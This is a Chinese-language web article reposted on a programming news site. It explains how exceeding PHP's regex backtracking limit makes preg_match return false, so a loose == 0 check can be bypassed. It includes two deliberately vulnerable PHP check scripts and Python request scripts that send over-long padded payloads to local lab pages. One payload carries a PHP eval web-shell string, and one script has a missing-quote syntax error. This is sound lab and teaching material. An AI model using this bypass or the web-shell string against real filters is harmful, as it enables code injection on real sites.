返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >php正则回溯绕过最大次数上限案例详解
  • 778
分享到

php正则回溯绕过最大次数上限案例详解

2024-04-02 19:04:59 778人浏览 安东尼
摘要

目录什么是正则回溯为什么可以利用正则回溯进行绕过PHP正则回溯绕过案例一php正则回溯绕过案例二什么是正则回溯 从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有&

什么是正则回溯

从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有“状态”,当一条路走到“尽头”的时候(不能再前进),再后退一步或若干步,从另一种可能“状态”出发,继续搜索,直到所有的“路径”(状态)都试探过。这种不断“前进”、不断“回溯”寻找解的方法,就称作“回溯法”。本质上就是深度优先搜索算法。其中退到之前的某一步这一过程,我们称为“回溯”。

非贪婪模式回溯过程:

text = "abc"
regex = "ab{1,3}c"

为什么可以利用正则回溯进行绕过

大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的非 1 和 0,而是 false表示此次执行失败。

在PHP中 ‘==’ 是松散比较 ‘0’与’flase’ 是相等的:

  • 使用两个等号 == 比较,只比较值,不比较类型。
  • 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
  • == 在进行比较的时候,会先将字符串类型转化成相同,再比较

"0" == false: bool(true)
"0" === false: bool(false)

php正则回溯绕过案例一

PHP源码

<?php
$input = $_POST['file'];
if(is_php($input)=='0') {
    echo "flag{raoguo-cengGong}";
}else{
    echo "bad requests";
}
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

python绕过源码:

import requests
datas = {
    'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000
}
res = requests.post(r'Http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)

当回溯次数为999990次时的运行结果:

当回溯次数为1000000次时的运行结果:

php正则回溯绕过案例二

php源码:

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        if(strpos($greeting,'Merry Christmas')!==false){
            echo 'flag{cheng-gong}';
        }else{
            echo 'no have Merry Christmas';
        }
    }else{
        echo 'Bypass the failure';
    }
}
?>

Python源码:

import requests
datas = {
    'greeting': 'Merry Christmas'+'h'*100000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

运行结果:

python测试

没有 ‘Merry Christmas’ 前缀的运行结果

import requests
datas = {
    'greeting': h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

运行结果:

到此这篇关于php正则回溯绕过最大次数上限案例详解的文章就介绍到这了,更多相关php正则回溯内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: php正则回溯绕过最大次数上限案例详解

本文链接: https://lsjlt.com/news/165167.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • php正则回溯绕过最大次数上限案例详解
    目录什么是正则回溯为什么可以利用正则回溯进行绕过php正则回溯绕过案例一php正则回溯绕过案例二什么是正则回溯 从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有&...
    99+
    2024-04-02
  • PCRE回溯次数绕过安全限制的正则解析
    目录正则表达式是什么回溯的过程是怎样的PCRE另一种错误的用法修复方法这次Code-Breaking Puzzles中我出了一道看似很简单的题目,将其代码简化如下: <php ...
    99+
    2024-04-02
  • PCRE回溯次数绕过安全限制的正则实例分析
    这篇“PCRE回溯次数绕过安全限制的正则实例分析”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“PCRE回溯次数绕过安全限制的...
    99+
    2023-06-30
  • PHP利用PCRE回溯次数限制绕过某些安全限制实战案例
    目录 一、正则表达式概述 有限状态自动机 匹配输入的过程分别是: DFA(确定性有限状态自动机) NFA(非确定性有限状态自动机) 二、回溯的过程 三、 PHP 的 pcre.backtrack_limit 限制利用 例题一 回溯绕过步骤...
    99+
    2023-10-02
    php 开发语言 网络安全
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作